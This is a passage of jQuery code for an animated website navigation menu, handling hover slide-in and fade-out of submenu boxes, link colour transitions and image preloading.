        var div = box.find('div:first');
        if (box.length) {
            div.retarder(180, function(i) {
                box.parent().parent().parent().parent().css('overflow', 'visible');
                box.css({
                    display: 'block',
                    visibility: 'visible'
                });
                if (!box[0].hei) {
                    box[0].hei = box.height();
                    box[0].wid = box.width() + 50;
                    div.css('height', box.height())
                }
                box.css({
                    height: box[0].hei,
                    width: box[0].wid,
                    overflow: 'hidden'
                });
                i.css({
                    left: -(box[0].wid)
                }).stop(true, true).animate({
                    left: 0
                }, {
                    easing: 'easeOutCubic',
                    duration: 200,
                    complete: function() {
                        div.css('left', -3);
                        box.css('width', box[0].wid - 50)
                    }
                })
            })
        }
    }, function() {
        var box = $('span.spanbox:first', this);
        var div = box.find('div:first');
        if (box.length) {
            if (!box[0].hei) {
                box[0].hei = box.height();
                box[0].wid = box.width() + 50
            }
            var animate = {
                from: {
                    left: 0
                },
                to: {
                    left: -(box[0].wid)
                }
            };
            if (!$.browser.msie) {
                animate.from.opacity = 1;
                animate.to.opacity = 0
            }
            div.retarder(150, function(i) {
                box.css({
                    height: box[0].hei,
                    width: box[0].wid - 50,
                    overflow: 'hidden'
                });
                i.css(animate.from).stop(true, true).animate(animate.to, {
                    duration: 200,
                    complete: function() {
                        if (!$.browser.msie) div.css('opacity', 1);
                        box.css('display', 'none')
                    }
                })
            })
        }
    });
    var timer = 0;
    $('#menu>ul>li>a').css('background', 'none');
    $('#menu>ul>li>a span').css('background-position', 'right 0');
    $('#menu>ul>li>a.parent span').css('background-position', 'right -91px');
    $('#menu ul.menu').lavaLamp({
        speed: 300
    });
    $('#menu>ul>li').hover(function() {
        var li = this;
        if (timer) clearTimeout(timer);
        timer = setTimeout(function() {
            if ($('>a', li).hasClass('parent')) $('>li.back', li.parentNode).removeClass('current-back').addClass('current-parent-back');
            else $('>li.back', li.parentNode).removeClass('current-parent-back').addClass('current-back')
        }, 300)
    }, function() {
        if (timer) clearTimeout(timer);
        $('>li.back', this.parentNode).removeClass('current-parent-back').removeClass('current-back')
    });
    $('#menu div a.parent span').css({
        backgroundPosition: '-576px bottom',
        color: 'rgb(195,191,183)'
    });
    $('#menu ul ul a').not('.parent').find('span').css('color', 'rgb(195,191,183)').hover(function() {
        $(this).stop(true, true).css('color', 'rgb(195,191,183)').animate({
            color: 'rgb(255,255,255)'
        }, 300, 'easeIn', function() {
            $(this).css('color', 'rgb(255,255,255)')
        })
    }, function() {
        $(this).stop(true, true).animate({
            color: 'rgb(195,191,183)'
        }, 300, 'easeInOut', function() {
            $(this).css('color', 'rgb(195,191,183)')
        })
    });
    $('#menu ul ul li').hover(function() {
        $('>a.parent span', this).stop(true, true).css('color', 'rgb(195,191,183)').animate({
            color: 'rgb(255,255,255)'
        }, 300, 'easeIn', function() {
            $(this).css({
                color: 'rgb(255,255,255)',
                backgroundPosition: '-960px bottom'
            })
        })
    }, function() {
        $('>a.parent span', this).stop(true, true).animate({
            color: 'rgb(195,191,183)'
        }, 300, 'easeInOut', function() {
            $(this).css({
                color: 'rgb(195,191,183)',
                backgroundPosition: '-576px bottom'
            })
        }).css('background-position', '-576px bottom')
    });
    $('body').append('<div class="menu-images-preloading"><div class="columns-png"></div><div class="subitem-png"></div></div>');
    setTimeout(function() {
        $('body>div.menu-images-preloading').hide()
    }, 7500)
});
